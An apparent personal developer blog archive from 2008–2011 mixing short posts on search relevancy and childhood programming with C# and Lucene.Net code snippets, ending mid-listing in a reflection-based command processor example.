2011-07-02T05:47:00+00:00

Portland by Rowdy Kittens

Nice Rooftop View

2011-07-02T05:46:16+00:00

Nice view (from last night).

DJ RemiX - City of the night

2011-07-02T05:43:24+00:00

Serious hotness.

More Options == Less Freedom?

2011-06-30T00:00:00+00:00

The trouble begins with a design philosophy that equates "more options" with "greater freedom"... In my experience, the instruments and tools that endure (because they are loved by their users) have limited options.

- Brian Eno in Wired Magazine, 1999

Finally! Google+ is real

2011-06-28T00:00:00+00:00

Introducing Google+ Real Life

Look Alive

2011-02-26T11:02:30+00:00

I want this in a t-shirt, mug, and office poster.

Crowd-Sourced Relevancy Ranking in Bing or why Google is wrong

2011-02-02T06:57:00+00:00

Let me start by saying I'm a Google fanboy and a half. I love that company and use all their products. My life revolves around my Nexus One and it's deep and tight integration with Google's stack which is my extremely large clustered brain-annex that's constantly available with a few taps of my touchscreen.

Google is awesome and great and I love them to death. That said, they are wrong about Bing copying their results.

See these first-party posts for details:

Thoughts On Search Quality (Bing Blog)

Bing uses Google's Results — and denies it (Google Blog)

Why Microsoft is not in the wrong: Crowd Sourcing is not stealing

What Microsoft has done is create a genuinely useful process for improving the relevancy of the Bing search engine. It's not a groundbreaking technique. Like most web based application in the world, they just monitor your behaviour. You type ‘foo' into their search box, and are presented with 10 results on your first screen. You click #2 result. This is recorded. The same thing happens for 10,000 other users. Eventually Bing figures out that the #2 result really should be the #1 result, and ups it's rank.

This is no different than Amazon's suggestion engine ‘Users who viewed this product ultimately bought this other product'.

This process doesn't depend on Google. This process would work purely as a way of improving rank within the Bing system, with no outside influences. It also doesn't really require a special toolbar to make it happen. You could collect that data through their normal web interface just as easily.

This is not an issue of spyware, cheating, or copying. It's just Bing using crowd-sourced data to determine relevancy. It's very smart. It's not dishonest. Get over it Google.

How to improve search result relevancy?

I find this interesting because, currently Google faces a huge challenge: Reducing the amount of spam that is polluting their results. Bing clearly has a tactic for that, though it may or may not be completely effective. The value of the click through data is only as good as the user who clicked on the result. If the majority of people searching for "Foo" clicked on say, option #3 instead of #2 in our previous example, and if #3 was a spam site, then #3 would get ranked up. Bad news!

Looks like Bing is trusting our judgement as a user community. We know what's relevant and show it by clicking through. If we choose a spam site as our main result, Cest La Vie!!

But how can we improve search relevancy, and reduce false positives in our result set? The answer so far seems to be "curate the web", or like Bing, use a "mechanical turk", aka click stream crowd-sourced relevancy, assuming that people will be able to express their preference as a whole and emerge the correct answer over time.

Our solution: Contextual Search

My company has a different solution: Working at a higher level of abstraction than words and documents. We have built a novel search tool that allows users to search for contexts, not documents, and make decisions on contexts.

Find me license where the document has drivers license in it, but not where it has fishing license, unless it also has something I want in it like drivers license.

Traditional boolean search, which operates against an inverted index of terms to documents (which is what both Bing and Google offer), does not provide for this kind of decision making. It's impossible without changing how the data is indexed, and that's not anything these guys are going to be doing anytime soon. They have too much invested in their current methodology to change.

We're hoping to launch a public search site sometime this year that presents our novel approach to improving relevancy in search. I look forward to seeing how it performs compared to Google and Bing.

More on that later, when it's closer to reality.

What do you think, world at large?

Does anyone have any other ideas about search relevancy?
What are some other tactics one might employ, beyond Curating or Crowdsourcing?
How else to make the spam go away?

Code Snippet: MultiTokenStream for Lucene.Net

2010-12-16T00:00:00+00:00

Someone asked in the Lucene.Net mailing list about implementing something similar to SOLR's copy-fields.

Here's a basic example of how to do something like that in a Lucene.Net Index.

  1using System;
  2using System.Collections.Generic;
  3using System.IO;
  4using System.Linq;
  5 
  6using Lucene.Net.Analysis;
  7using Lucene.Net.Analysis.Standard;
  8using Lucene.Net.Documents;
  9using Lucene.Net.Index;
 10using Lucene.Net.QueryParsers;
 11using Lucene.Net.Search;
 12using Lucene.Net.Store;
 13 
 14 
 15namespace MultiTokenStreamExample
 16{
 17    class Program
 18    {
 19        static void Main(string[] args)
 20        {
 21            const string text_content = "This is some content. 123 is a number. 456 is also a number.";
 22            const string numeric_content = "789 this is normal text";
 23            
 24            var standard = new StandardAnalyzer(Lucene.Net.Util.Version.LUCENE_29);
 25            var numeric = new NumericAnalyzer();
 26 
 27            var perField = new PerFieldAnalyzerWrapper(standard);
 28            perField.AddAnalyzer("numeric_content", numeric);
 29            
 30 
 31            // typical index creation 
 32 
 33            var directory = new RAMDirectory();
 34            var writer = new IndexWriter(directory, standard, IndexWriter.MaxFieldLength.UNLIMITED);
 35            
 36            var document = new Document();
 37 
 38            var text_content_field = new Field("text_content", text_content, Field.Store.YES, Field.Index.ANALYZED);
 39            var id_field = new Field("numeric_content", numeric_content, Field.Store.YES, Field.Index.ANALYZED);
 40            
 41            document.Add(text_content_field);
 42            document.Add(id_field);
 43            
 44 
 45            // special sauce
 46 
 47            var combined_field = 
 48                new MultiField("combined", 
 49                    new List<Fieldable> { text_content_field, id_field},
 50                    perField);
 51 
 52 
 53            document.Add(combined_field);
 54 
 55            writer.AddDocument(document);
 56            writer.Optimize();
 57            writer.Close();
 58 
 59 
 60            // test searching against our combined field...
 61 
 62            Searcher searcher = new IndexSearcher(directory, true);
 63 
 64            // hits on first field
 65            SearchCombined(searcher, "number");
 66 
 67            // hits on first field
 68            SearchCombined(searcher, "123");
 69 
 70            // hits on second field
 71            SearchCombined(searcher, "789");
 72 
 73            // does not hit on second field because numeric analyzer skips that content.
 74            SearchCombined(searcher, "normal");
 75 
 76            Console.ReadKey();
 77        }
 78 
 79        private static void SearchCombined(Searcher searcher, string queryString)
 80        {
 81            // Build a Query object
 82            QueryParser parser = new QueryParser("combined", new StandardAnalyzer());
 83            Query query = parser.Parse(queryString);
 84            
 85            // Search for the query
 86            Hits hits = searcher.Search(query);
 87 
 88          // Examine the Hits object to see if there were any matches
 89          int hitCount = hits.Length();
 90          if (hitCount == 0) {
 91              Console.WriteLine("No matches were found for \"" + queryString + "\"");
 92          }
 93          else {
 94              Console.WriteLine("Hits for \"" + queryString + "\" were found in quotes by:");
 95   
 96              // Iterate over the Documents in the Hits object
 97              for (int i = 0; i < hitCount; i++) {
 98                  Document doc = hits.Doc(i);
 99   
100                  // Print the value that we stored in the "title" field. Note
101                  // that this Field was not indexed, but (unlike the
102                  // "contents" field) was stored verbatim and can be
103                  // retrieved.
104                  Console.WriteLine("  " + (i + 1) + "] [id: " +doc.Get("id") + "] [text_content: " + doc.Get("text_content") + "]");
105              }
106          }
107          Console.WriteLine();
108 
109        }
110    }
111    
112    public class MultiField : Fieldable
113    {
114        public MultiField(string name, List<Fieldable> fields, PerFieldAnalyzerWrapper analyzerWrapper)
115        {
116            _name = name;
117            _fields = fields;
118            _analyzerWrapper = analyzerWrapper;
119        }
120 
121        private string _name;
122        private List<Fieldable> _fields;
123        private PerFieldAnalyzerWrapper _analyzerWrapper;
124 
125        #region Fieldable Members
126 
127        public void SetBoost(float boost)
128        {
129            //throw new Exception("The method or operation is not implemented.");
130        }
131 
132        public float GetBoost()
133        {
134            return 1;
135        }
136 
137        public string Name()
138        {
139            return _name;
140        }
141 
142        public string StringValue()
143        {
144            throw new Exception("The method or operation is not implemented.");
145            //StringBuilder sb = new StringBuilder();
146            
147            //foreach (var f in _fields)
148            //    sb.AppendLine(f.StringValue());
149 
150            //return sb.ToString();
151        }
152 
153        public System.IO.TextReader ReaderValue()
154        {
155            throw new Exception("The method or operation is not implemented.");
156            //var combined = default(TextReader);
157            
158            //foreach (var f in _fields)
159            //    combined = 
160            //        combined == default(TextReader) 
161            //        ? f.ReaderValue() 
162            //        : combined.Union(f.ReaderValue());
163 
164            //return combined;
165        }
166 
167        public byte[] BinaryValue()
168        {
169            throw new Exception("The method or operation is not implemented.");
170            //var ms = new MemoryStream();
171            //foreach (var f in _fields)
172            //{
173            //    var bytes = f.BinaryValue();
174            //    ms.Write(bytes, 0, 0);
175            //}
176 
177            //return ms.ToArray();
178        }
179 
180        public TokenStream TokenStreamValue()
181        {
182            return new MultiTokenStream(_fields.Select(a => GetTokenStream(a)));
183        }
184 
185        private TokenStream GetTokenStream(Fieldable f)
186        {
187            return 
188                f.TokenStreamValue() 
189                ?? _analyzerWrapper.TokenStream(f.Name(), new StringReader(f.StringValue()));
190        }
191 
192        public bool IsStored()
193        {
194            return false;
195        }
196 
197        public bool IsIndexed()
198        {
199            return true;
200        }
201 
202        public bool IsTokenized()
203        {
204            return true;
205        }
206 
207        public bool IsCompressed()
208        {
209            return false;
210        }
211 
212        public bool IsTermVectorStored()
213        {
214            return true;
215        }
216 
217        public bool IsStoreOffsetWithTermVector()
218        {
219            return true;
220        }
221 
222        public bool IsStorePositionWithTermVector()
223        {
224            return true;
225        }
226 
227        public bool IsBinary()
228        {
229            foreach (var f in _fields)
230                if (!f.IsBinary()) return false;
231 
232            return true;
233        }
234 
235        public bool GetOmitNorms()
236        {
237            foreach (var f in _fields)
238                if (!f.GetOmitNorms()) return false;
239 
240            return true;
241        }
242 
243        public void SetOmitNorms(bool omitNorms)
244        {
245            throw new Exception("The method or operation is not implemented.");
246        }
247 
248        public void SetOmitTf(bool omitTf)
249        {
250            throw new Exception("The method or operation is not implemented.");
251        }
252 
253        public bool GetOmitTf()
254        {
255            foreach (var f in _fields)
256                if (!f.GetOmitTf()) return false;
257 
258            return true;
259        }
260 
261        public bool IsLazy()
262        {
263            //foreach (var f in _fields)
264            //    if (!f.GetOmitNorms()) return false;
265 
266            return true;
267        }
268 
269        public int GetBinaryOffset()
270        {
271            return 0;
272        }
273 
274        public int GetBinaryLength()
275        {
276            return BinaryValue().Length;
277        }
278 
279        public byte[] GetBinaryValue()
280        {
281            return BinaryValue();
282        }
283 
284        public byte[] GetBinaryValue(byte[] result)
285        {
286            throw new Exception("The method or operation is not implemented.");
287        }
288 
289        #endregion
290    }
291 
292    // this is just an example to show a different kind of token stream.. 
293    public class NumericAnalyzer : Analyzer
294    {
295        public override TokenStream TokenStream(string fieldName, System.IO.TextReader reader)
296        {
297            return new NumericTokenizer(reader);
298        }
299    }
300    
301    public class NumericTokenizer : CharTokenizer
302    {
303        public NumericTokenizer(TextReader input)
304            : base(input)
305        {
306        }
307 
308        protected override bool IsTokenChar(char c)
309        {
310            // only consider numbers to be tokenizable characters
311            return char.IsNumber(c);
312        }
313    }
314 
315    public class MultiTokenStream : TokenStream
316    {
317        public MultiTokenStream(IEnumerable<TokenStream> tokenStreams)
318        {
319            _tokenStreams = new List<TokenStream>(tokenStreams);            
320        }
321 
322        private List<TokenStream> _tokenStreams;
323        private IEnumerator<TokenStream> _tokenStreamEnumerator;
324        private TokenStream _currentTokenStream;
325 
326        public override void ClearAttributes()
327        {
328            base.ClearAttributes();
329            foreach (TokenStream tokenStream in _tokenStreams)
330                tokenStream.ClearAttributes();
331        }
332 
333        public override bool IncrementToken()
334        {
335            if (_tokenStreamEnumerator == null)
336                _tokenStreamEnumerator = _tokenStreams.GetEnumerator();
337 
338            if (_currentTokenStream == null)
339            {
340                if (!_tokenStreamEnumerator.MoveNext())
341                    return false;
342 
343                _currentTokenStream = _tokenStreamEnumerator.Current;
344            }
345 
346            bool success = _currentTokenStream.IncrementToken();
347 
348            base.RestoreState(_currentTokenStream.CaptureState());
349 
350            if (!success)
351            {
352                if (!_tokenStreamEnumerator.MoveNext()) return false;
353                _currentTokenStream = _tokenStreamEnumerator.Current;
354                return true;
355            }
356 
357            return true;
358        }
359 
360        public override void Reset()
361        {
362            if(null != _tokenStreamEnumerator) 
363                _tokenStreamEnumerator.Reset();
364            _currentTokenStream = null;
365        }
366    }
367 
368    //// FROM: http://stackoverflow.com/questions/2925652/how-to-string-multiple-textreaders-together
369    //public static class Extensions
370    //{
371    //    public static TextReader Union(this TextReader first, TextReader second)
372    //    {
373    //        return new ChainedTextReader(first, second);
374    //    }
375 
376    //    private class ChainedTextReader : TextReader
377    //    {
378    //        private TextReader first;
379    //        private TextReader second;
380    //        private bool readFirst = true;
381 
382    //        public ChainedTextReader(TextReader first, TextReader second)
383    //        {
384    //            this.first = first;
385    //            this.second = second;
386    //        }
387 
388    //        public override int Peek()
389    //        {
390    //            if (readFirst)
391    //            {
392    //                return first.Peek();
393    //            }
394    //            else
395    //            {
396    //                return second.Peek();
397    //            }
398    //        }
399 
400    //        public override int Read()
401    //        {
402    //            if (readFirst)
403    //            {
404    //                int value = first.Read();
405    //                if (value == -1)
406    //                {
407    //                    readFirst = false;
408    //                }
409    //                else
410    //                {
411    //                    return value;
412    //                }
413    //            }
414    //            return second.Read();
415    //        }
416 
417    //        public override void Close()
418    //        {
419    //            first.Close();
420    //            second.Close();
421    //        }
422 
423    //        protected override void Dispose(bool disposing)
424    //        {
425    //            base.Dispose(disposing);
426    //            if (disposing)
427    //            {
428    //                first.Dispose();
429    //                second.Dispose();
430    //            }
431    //        }
432    //    }
433    //}
434}

This is available as a Gist here: https://gist.github.com/thoward/744444

Code Snippet: Adding Dispose without IDisposable

2010-11-11T00:00:00+00:00

The topic of implementing IDisposable within Lucene.Net comes up a lot. While I'm all for it, there are reasons why it hasn't be done yet.

This is an alternative technique that allows using Dispose without implementing IDisposable directly.

This example uses a wrapper class, which does implement IDisposable, and allows the user to inject a custom action to happen when Dispose is called. It's a bit more fragile than directly implementing IDisposable but can be effective if done correctly.

 1using System;
 2using Lucene.Net.Index;
 3 
 4namespace Lucene.Net.Extensions
 5{
 6    public class Disposable<T> : IDisposable
 7    {
 8        public Disposable() { }
 9        public Disposable(T entity, Action<T> disposeAction)
10        {
11            Entity = entity;
12            DisposeAction = disposeAction;
13        }
14 
15        public T Entity { get; set; }
16        public Action<T> DisposeAction { get; set; }
17 
18        public void Dispose()
19        {
20            if (default(Action<T>) != DisposeAction)
21                DisposeAction(Entity);
22        }
23 
24    }
25 
26    public static class DisposableExtensions
27    {
28        public static Disposable<T> AsDisposable<T>(this T entity, Action<T> disposeAction)
29        {
30            return new Disposable<T>(entity, disposeAction);
31        }
32    }
33 
34    public class LuceneDisposableExample
35    {
36        public void Example()
37        {
38            string pathToIndex = @"C:\lucene\example\index";
39 
40            using (var disposableReader = IndexReader.Open(pathToIndex, true).AsDisposable(a => a.Close()))
41            {
42                var reader = disposableReader.Entity;
43 
44                // .. whatever you want here... 
45            }
46        }
47    }
48}

This is available as a Gist here: https://gist.github.com/thoward/673545

010 Editor: My new favourite tool

2010-08-02T16:49:00+00:00

During the course of my work, I use a hex editor a lot.

Specifically, I use a hex editor mostly for reverse engineering binary file formats that have no documentation or for fixing corrupted files, and what not. One thing that I've always wanted, was some way to view the binary contents as structured data. Like "Starting at this byte offset, consider the next four bytes to be an integer, and show me that integer, then, using that integer, take that many bytes immediately following it, consider them to be string data, and decode as UTF8 or EBCDIC..." etc.

All that is fairly complex, and generally well beyond the facilities of anything short of a fairly low level and full-featured programming language.

Well, looks like the folks over at SweetScape realized this is a workflow that at least SOME people need to have… and so they built the perfect tool for doing that. It’s called the 010 Editor. It has this great feature called Binary Templates as well as scripts. It’s the bomb, and it’s accelerated my reverse engineering work by at least an order of magnitude.

I’m buying a license, and anyone know know me will realize that’s a pretty big deal. I’m a big fan of FOSS and generally try to use as much of it as possible, avoiding commercial apps… but this is a big exception. SweetScape is a small company run by a father and son team. Hardly “The Man”. Lowell and Graeme Sweet — you rock the block and treat the bytes right. ;)

The Temptation of Victoria

2010-03-10T00:00:00+00:00

Big Data

2010-02-12T20:31:00+00:00

When I was a kid (7 years old) I got my first computer. At that time, using a computer meant programming a computer.

My Commodore vic20 didn't have a storage device when I got it (I got a tape drive later on). So, if you turned it off, the in-memory program was gone. You had to type it in again the next time you started up the computer.

I remember learning about programming. One of my first programs was just:

110 PRINT "TROY"

I was delighted to see my name show up on the screen. The computer knew me now. I was being reflected back from the screen in glowing pixels. I was able to take a little piece of me, and put it into the computer, and the computer was letting me look at it; letting me learn about myself, and learn about the computer, at the same time. I was hooked.

110 FOR I = 1 TO 10  
220 PRINT "TROY"  
330 NEXT

This blew my mind. While there was something magical about seeing my name on the screen the first time. Seeing it ten times was just really really exciting. Something about the quantity was just really cool... and how FAST it happened. It put my name up there ten times as fast as it put it up there one time!! Thrilling!!

110 PRINT "TROY"  
220 GOTO 10

The screen was filled with my name.... and it didn't stop. I got up and I ran to tell my mom. I drug her downstairs into the basement and babbled on about the computer and how it was just going and going, and how I did it. GOTO mom... GOTO! My excitement was more than I could contain. I was officially a rocket scientist now. My excitement, like the program, was INFINITE!!! I created something that was endless, infinitely long. There was no way to count how many times it put my name on the screen. My computer, at that moment, knew only one thing — my name, my program, and it would run it forever until I told it to stop. Happily. This was a kind of love and dedication that was far beyond what any person could ever give. There was something really deep here, between me and the computer.

Fast forward, 24 years later. I'm a software engineer for a living now, and have been for a while. At my company, I recently got promoted to a fancier title Director of Software Development, and all the responsibility for success lies on my shoulders. People answer my job advertisements with the salutation "Mr. Howard". That part freaks me out.

I'm still excited by big data. That infinite loop of TROYs on my screen was just the start. Now I design systems that process terabytes of data at a time on hundreds of servers. One of the most fascinating parts of my job these days is still the same as when I was a kid. I love hitting run on a unit test, and seeing what happens. I feel good when it's successful once. My next step, almost without fail, is to see what happens when it runs ten times in a row.. Then 100... Then 1000... 10000... 100000... I just keep adding zeros until the thing breaks down, or until I get bored with it.

Big Data is still exciting, still fascinating. I've now given my computer programs more interesting sample material to work from, and so their worldview has expanded. Now instead of only knowing me and my name, my programs know all the details of the personal and business lives of thousands of people whose email is processed by the programs. I think my computer still loves me more than any of them though. Secretly, somewhere in there, I know there's an infinite loop on a background thread that's just cycling over the string TROY... forever.

An Infinite Stream Of Bytes

2009-10-23T01:27:00+00:00

No, I'm not about to wax poetic about the deep ontological issues raised in The Matrix, or speak meaningfully about how transient the modern world of communication is and how the artifacts of our lifetime have become ephemeral such that our posterity will not be able to remember us, even if they wanted to.

Instead I'm going to post a code snippet that solves an annoying little scenario that comes up every now and again when writing parsers.

Basically, it goes like this:

You're writing a parser, and you need to check every byte in a stream of bytes coming from a file or network stream. You might need to read forward or read backward a little, to match a multi-byte pattern or value within n bytes of another value. You figure instead of "peeking and seeking" against the stream (what it's read-only!?!?), your parser can just store the state, and still only look at a single byte at a time. That's great and all, and you do a quick implementation using stream.ReadByte, which seems to work...

Except it's slow. You know from experience that block reads are way faster, and you want to read a block of data that's say 1k or 4k from your stream, and then parse that, fetch another block, parse that, yada yada. But what if your pattern straddles two blocks? What if the first byte of a two byte sequence is the last byte in a block and the next block's first byte is the second character? Now your parser needs to stop what it's doing, exit the loop, go grab some more data, then restart its iteration over that. You could build all that behaviour into your parser (for every parser that you write), but it's non-trival to deal with. In fact it's a real pain in the butt to refactor a parser to work that way.

Also, you think to yourself "Man... It would be SOOOOooooo much nicer if I could just write a foreach loop, and like get every byte in the stream in one bit long iteration... Why doesn't System.IO.Stream implement IEnumerable?!?" It totally makes sense that it should...

Anyhow, story's over. Here's the code to solve it:

 1public static IEnumerable<byte> GetBytesFromStream(Stream stream) {
 2    const int blockSize = 1024;
 3    byte[] buffer = new byte[blockSize];
 4    int bytesRead;
 5    
 6    while ((bytesRead = stream.Read(buffer, 0, buffer.Length)) > 0) {
 7        for (int i = 0; i < bytesRead; i++) {
 8            yield return buffer[i];
 9        }
10     }
11}

And in case it's not obvious, I'll explain what this little guy does. It does a block read from the stream (adjust your blocksize to suit or make it a parameter), iterates over the block, uses the yield keyword to return bytes via the IEnumerable<T> interface. The while loop checks the return value of stream.Read() to see if it returns zero, which means, basically, the stream is done (EOF). If there was a partial read (e.g. less than your blocksize buffer) bytesRead will be the amount that DID successfully read, and so your for loop that is iterating over the block uses bytesRead to ensure we only return valid data (if we had used buffer.Length or blockSize, and had a partial read, the stuff after the "new data" would be data from the last read. NOT COOL!).

You could stick this method in your utility class if you'd like, or make a wrapper class that wraps Stream and implements IEnumerable<byte>... whatever you want. Maybe you want to be all modern and cool and make it an extension method for Stream.

Here's an example wrapper class:

 1public class EnumerableStream : Stream, IEnumerable<byte> {
 2    private readonly Stream _baseStream;
 3    public EnumerableStream(Stream stream) { _baseStream = stream; }
 4    public IEnumerator<byte> GetEnumerator() { 
 5        var bytes = GetBytesFromStream(_baseStream);
 6        return bytes.GetEnumerator();
 7    }
 8    IEnumerator IEnumerable<byte>.GetEnumerator() { return GetEnumerator(); }
 9    private static IEnumerator<byte> GetBytesFromStream(Stream stream) {
10        const int blockSize = 1024;
11        byte[] buffer = new byte[blockSize];
12        int bytesRead;
13        while ((bytesRead = stream.Read(buffer, 0, buffer.Length)) > 0) {
14            for (int i = 0; i < bytesRead; i++) {
15                yield return buffer[i];
16            }
17        }
18    }
19    public override bool CanRead {
20        get { return _baseStream.CanRead; }
21    }
22    public override bool CanSeek {
23        get { return _baseStream.CanSeek; }
24    }
25    public override bool CanWrite {
26        get { return _baseStream.CanWrite; }
27    }
28    public override void Flush() { _baseStream.Flush(); }
29    public override long Length {
30        get { return _baseStream.Length; }
31    }
32    public override long Position {
33        get { return _baseStream.Position; }
34        set { _baseStream.Position = value; }
35    }
36    public override int Read(byte[] buffer, int offset, int count) {
37        return _baseStream.Read(buffer, offset, count);
38    }
39    public override long Seek(long offset, SeekOrigin origin) {
40        return _baseStream.Seek(offset, origin);
41    }
42    public override void SetLength(long value) { _baseStream.SetLength(value); }
43    public override void Write(byte[] buffer, int offset, int count) {
44        _baseStream.Write(buffer, offset, count);
45    }
46}

And an example of the extension method way...

 1public static class StreamExtensions {
 2    public static IEnumerable<byte> GetBytes(this Stream stream) {
 3        const int blockSize = 1024;
 4        byte[] buffer = new byte[blockSize];
 5        int bytesRead;
 6        while ((bytesRead = stream.Read(buffer, 0, buffer.Length)) > 0) {
 7            for (int i = 0; i < bytesRead; i++) {
 8                yield return buffer[i];
 9            }
10        }
11    }
12}

Enjoy!

Unicode string detection

2009-07-23T02:52:00+00:00

I had the need to detect wether or not a given string (in .Net/C#) was unicode or not.. Specifically filenames. I had a situation where a filename might be passed to me, that could possibly contain unicode. If it DID contained unicode characters, I needed to run GetShortPathName and get the 8.3 filename for the file, before passing it into a legacy component that couldn't handle unicode names...

Well, a "big hammer approach" might just call GetShortPathName on every filename, just to be sure... But that's a costly API call if your having to do this a million times a second.

So, long story short, I wrote this little function to detect unicode in a .Net string:

1public static bool IsUnicode(string s) {
2    return s != Marshal.PtrToStringAnsi(Marshal.StringToHGlobalAnsi(s)); 
3}

Now homework for all you kiddies out there... Is this code a memory leak? If so, what should you do to fix it? If not, why not?

Switch To..., Retry, Cancel

2009-01-06T22:59:00+00:00

Well, as much as I hate to admit it, I was recently working on VB6 application that uses Office COM automation. It needed to have Word and Excel do a few things while the main application waited.

Every time a user clicked on the UI, you'd get that beautiful dialog:

This application cannot be completed because the other application is busy. Choose 'Switch To' to activate the busy application and correct the problem.

This is particularly onerous because if the user does not click Switch To... both programs, the VB6 app AND the Office app sit around waiting for the user to do something. Yay!

Luckily I found the quick and dirty answer to this. Somewhere... Anywhere before the point that you make the COM call, just insert these two lines:

1App.OleRequestPendingTimeout = 2147483647
2App.OleServerBusyTimeout = 2147483647

... and you never have to see that dialog again.

Enjoy!

How to get information about your current culture.

2008-05-15T17:40:00+00:00

Instead of doing a college survey and asking a bunch of probing questions about the lives of twenty-somethings, there's an easier way to get information about your current culture. Just look at CultureInfo.CurrentCulture.

Here's a quick program that explains how to do that. This can be very useful in debugging and troubleshooting how your program behaves on machines that are setup for other languages or regions.

 1
 2using System; 
 3using System.Collections.Generic; 
 4using System.Text; 
 5using System.Globalization; 
 6
 7namespace ConsoleApplication1 {
 8  class Program {
 9    static void Main(string[] args) {
10      CultureInfo currentCulture = CultureInfo.CurrentCulture; 
11      
12      Console.WriteLine("CultureInfo"); 
13      Console.WriteLine("\-----------"); 
14      Console.WriteLine("DisplayName: {0}", currentCulture.DisplayName); 
15      Console.WriteLine("Name: {0}", currentCulture.Name); 
16      Console.WriteLine("LCID: {0}", currentCulture.LCID); 
17      Console.WriteLine(); 
18      
19      Console.WriteLine("NumberFormatInfo"); 
20      Console.WriteLine("\----------------"); 
21      Console.WriteLine("Decimal Seperator: {0}", currentCulture.NumberFormat.NumberDecimalSeparator); 
22      Console.Write("Digits: "); 
23      
24      foreach (string s in currentCulture.NumberFormat.NativeDigits) {
25        Console.Write(s + " "); 
26      }
27      
28      Console.WriteLine(); 
29    }
30  }
31}

Base output should look like:

CultureInfo
-----------
DisplayName: English (United States)
Name: en-US
LCID: 1033

NumberFormatInfo
----------------
Decimal Seperator: .
Digits: 0 1 2 3 4 5 6 7 8 9

Refactoring a big if block into a simple command processor using attributes

2008-05-15T16:54:00+00:00

Recently someone had a problem where they had some massive control block full of if statements looking at a string, dispatching one of a variety of functions. The if block was massive. Hundreds of if statements, hundreds of magic strings.

Interestingly all the functions had the same signature... So I gave him this example of how to use attributes on the methods to specify the corresponding token, use Reflection to scan the assembly for all the functions with that attribute, then create a function table keyed by their token, to provide fast lookup. This example shows how to creat an object instance and then invoke the method via reflection, but this could be made much simpler if the methods were all static and the function protoype was part of an interface instead of just a unspoken convention.

Here's the "Before" example from the original question...

 1string tag; 
 2string cmdLine; 
 3State state; 
 4string outData; 
 5
 6// ... etc ... 
 7
 8if (token == "ABCSearch") {
 9    ABC abc = new ABC(); 
10    abc.SearchFor(tag, state, cmdLine, ref outData); 
11} 
12else if (token == "JklmDoSomething") {
13    JKLM jklm = new JKLM(); 
14    jklm.Dowork1(tag, state, cmdLine, ref outData); 
15}

_ A couple of notes:_

There is no correlation between the token and the class name (ABC, JKLM, ...) or the method (SearchFor, Dowork1).

The methods do have the same signature:

1void func(string tag, State state, string cmdLine, ref string outData)

The if ()... block is 500+ lines and growing And here is my example command processor (as a console app):

  1using System;
  2using System.Collections.Generic;
  3using System.Reflection;
  4 
  5namespace ConsoleApplication2
  6{
  7    public class Program
  8    {
  9        static void Main(string[] args)
 10        {
 11            while(true)
 12            {
 13                Console.Write("[e(x)ecute, (t)okens, (q)uit] -> ");
 14                string s = Console.ReadKey().KeyChar.ToString().ToLower();
 15                Console.WriteLine();
 16 
 17                switch (s)
 18                {
 19                case "q":
 20                    Console.WriteLine("Finished.");
 21                    return;
 22 
 23                case "t":
 24                    Console.WriteLine("Known tokens:");
 25                    foreach (string tokenName in CommandProcessor.GetTokens())
 26                    {
 27                        Console.WriteLine(tokenName);
 28                    }
 29                    break;
 30 
 31                case "x":
 32                    string token = string.Empty;
 33                    string tag = string.Empty;
 34                    string cmdLine = string.Empty;
 35                    string state = string.Empty;
 36 
 37                    Console.Write("token: ");
 38                    token = Console.ReadLine();
 39                    Console.Write("tag: ");
 40                    tag = Console.ReadLine();
 41                    Console.Write("cmdLine: ");
 42                    cmdLine = Console.ReadLine();
 43                    Console.Write("state: ");
 44                    state = Console.ReadLine();
 45 
 46                    try
 47                    {
 48                        string output = CommandProcessor.DoCommand(token, tag, cmdLine, State.GetStateFromString(state));
 49                        Console.WriteLine("Output:");
 50                        Console.WriteLine(output);
 51                    }
 52                    catch (TokenNotFoundException ex)
 53                    {
 54                        Console.WriteLine(ex.Message);
 55                    }
 56                    catch (Exception ex)
 57                    {
 58                        Console.WriteLine("Unknown error occured during execution. Exception was: " + ex.Message);
 59                    }
 60                    break;
 61 
 62                default:
 63                    Console.WriteLine("Unknown command: {0}", s);
 64                    break;
 65                }
 66            }
 67        }
 68    }
 69 
 70    public class CommandProcessor
 71    {
 72        // our dictionary of method calls.
 73        internal static Dictionary availableFunctions = new Dictionary();
 74 
 75        static CommandProcessor()
 76        {
 77            SetupMethodCallDictionary();
 78        }
 79 
 80        private static void SetupMethodCallDictionary()
 81        {
 82            // get the current assembly.
 83            Assembly assembly = Assembly.GetExecutingAssembly();
 84 
 85            // cycle through the types in the assembly
 86            foreach (Type type in assembly.GetTypes())
 87            {
 88                // cycle through the methods on each type
 89                foreach (MethodInfo method in type.GetMethods())
 90                {
 91                    // look for Token attributes on the methods.
 92                    object[] tokens = method.GetCustomAttributes(typeof(TokenAttribute), true);
 93 
 94                    if (tokens.Length > 0)
 95                    {
 96                        // cycle through the token attributes (allowing multiple attributes
 97                        // leaves room for backwards compatibility if you change your tokens
 98                        // or consolidate functionality of the methods. etc.
 99                        foreach (TokenAttribute token in tokens)
100                        {
101                            // look for the token in the dictionary, if it's not there add it..
102                            MethodInfo foundMethod = default(MethodInfo);
103                            if (availableFunctions.TryGetValue(token.TokenName, out foundMethod))
104                            {
105                                // if there is more than one function registered for the same
106                                // token, just keep the last one found.
107                                availableFunctions[token.TokenName] = method;
108                            }
109                            else
110                            {
111                                // add to the table.
112                                availableFunctions.Add(token.TokenName, method);
113                            }
114                        }
115                    }
116                }
117            }
118        }
119 
120        public static string DoCommand(string token, string tag, string cmdLine, State state)
121        {
122            // the data returned from the command
123            string outData = string.Empty;
124            MethodInfo method = default(MethodInfo);
125 
126            // see if we have a method for that token
127            if (availableFunctions.TryGetValue(token, out method))
128            {
129                // if so, create an instance of the object, and then execute the method,
130                // unless it's static.. in which case just execute the method.
131                object instance = null;
132                if (!method.IsStatic)
133                {
134                    // this just invokes the default constructor... if you need to pass
135                    // parameters use one of the other overloads.
136                    instance = Activator.CreateInstance(method.ReflectedType);
137                }
138 
139                object[] args = new object[] { tag, state, cmdLine, outData };
140 
141                method.Invoke(instance, args);
142                outData = (string)args[3];
143            }
144            else
145            {
146                throw new TokenNotFoundException(string.Format("Token {0} not found. Cannot execute.", token));
147            }
148            return outData;
149        }
150 
151        public static IEnumerable GetTokens()
152        {
153            foreach (KeyValuePair entry in availableFunctions)
154            {
155                yield return entry.Key;
156            }
157        }
158    }
159 
160    public class State
161    {
162        public State(string text)
163        {
164            _text = text;
165        }
166 
167        private string _text;
168 
169        public string Text
170        {
171            get { return _text; }
172            set { _text = value; }
173        }
174 
175        public static State GetStateFromString(string state)
176        {
177            // implement parsing of string to build State object here.
178            return new State(state);
179        }
180    }
181 
182    [AttributeUsage(AttributeTargets.Method)]
183    public class TokenAttribute : Attribute
184    {
185        public TokenAttribute(string tokenName)
186        {
